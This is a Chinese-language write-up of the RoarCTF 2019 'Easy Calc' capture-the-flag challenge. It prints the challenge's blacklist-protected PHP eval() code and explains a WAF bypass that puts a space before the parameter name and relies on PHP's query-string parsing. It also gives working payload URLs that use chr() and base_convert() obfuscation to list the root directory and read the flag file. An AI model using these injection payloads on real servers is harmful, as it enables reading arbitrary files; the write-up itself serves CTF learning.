[RoarCTF 2019]Easy Calc
- 1 解题流程
- 2 思考总结
1 解题流程
- 打开页面让我们输入,输了没反应(执行报错),F12发现js有代码
通过代码发现提交的页面是calc.php,我们在页面打开calc.php,得到代码$('#calc').submit(function(){ $.ajax({ url:"calc.php?num="+encodeURIComponent($("#content").val()), type:'GET', success:function(data){ $("#result").html(`<div class="alert alert-success"> <strong>答案:</strong>${data} </div>`); }, error:function(){ alert("这啥?算不来!"); } }) return false; })
1、参数是num,黑名单过滤空格、‘`’、中括号、缩进符等<?php if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } eval('echo '.$str.';'); } ?>
2、?num=a 报错(被waf了,说明字母会被拦截)
这里就涉及到一个知识点了:PHP的字符串解析特性
例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。
例如:/?%20news[id%00=42会转换为Array([news_id] => 42)。
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
问:WAF不让num参数传入字母,但是我们又需要传入字母来构成我们的命令,这种情况下该怎么进行绕过呢?
答:我们参数前加一个空格,在PHP特性下会删除空格,但是WAF会因为这个空格导致检测不到参数,最终导致WAF被绕过。 - 我们要输出,可以用echo、print、var_dump、print_r四个函数
注意,前两者只能输出简单数据类型,如果是数组之类的只能用后两个,个人觉得print_r输出很清楚
我们要扫目录,可以用scandir
我们要字符转换,可以用chr(ascii)、ord(string)、base_convert(number,frombase,tobase);
/calc.php?%20num=print_r(scandir(chr(47)))
或/calc.php?%20num=var_dump(scandir(chr(47)))
如果scandir这个词也被过滤的话,还可以使用base_convert()来拼接。如? num=print_r(base_convert(61693386291,10,36)(chr(47)))
得到Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => f1agg [8] => flag [9] => home [10] => lib [11] => lib64 [12] => media [13] => mnt [14] => opt [15] => proc [16] => root [17] => run [18] => sbin [19] => srv [20] => start.sh [21] => sys [22] => tmp [23] => usr [24] => var ) 1
我们要读文件,可以用readfile、file_get_content
/calc.php? num=readfile(chr(47).f1agg)
/calc.php? num=file_get_contents(chr(47).f1agg)
/calc.php? num=base_convert(2146934604002,10,36)(chr(47).f1agg)
2 思考总结
这道题目,又有新的知识点
1、PHP的字符串解析特性的知识还是很重要的
2、eval内函数使用